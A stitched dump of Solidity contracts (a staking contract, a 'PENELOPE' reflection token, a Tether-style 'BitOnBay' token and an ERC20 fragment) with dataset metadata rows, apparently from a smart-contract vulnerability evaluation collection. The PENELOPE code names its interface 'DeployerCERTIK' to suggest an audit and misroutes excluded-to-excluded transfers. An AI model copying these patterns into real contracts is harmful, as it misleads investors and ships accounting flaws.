function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 89,785 | 14,192 |
dea7bec78069c7cb4ec10380cb73296495dfb449616ef75b5db6a26186819a71
| 18,829 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b8/b85cd121b5dabb9447a2484990A97dcfdb79976b_PENELOPE.sol
| 4,189 | 15,798 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PENELOPE is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'PENELOPE';
string private _symbol = 'PENELOPE';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(7);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 80,055 | 14,193 |
bab2953796cbaee231e64bcd1d065792d9fc08f305f70e054a9e633ebe6fe859
| 14,446 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf0f464a582451ac0cf36663c7c2f6c221d90fbb0.sol
| 2,762 | 11,202 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract BitOnBayToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function BitOnBayToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 223,036 | 14,194 |
a5fbbe6d5e6e14a6d93636dd652a906411b85f73b930ba7b07629386a3b53ec3
| 23,720 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/56/56d93478E96E3ca7faeAcd4E271104650406cae8_SigilStake.sol
| 2,754 | 10,543 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
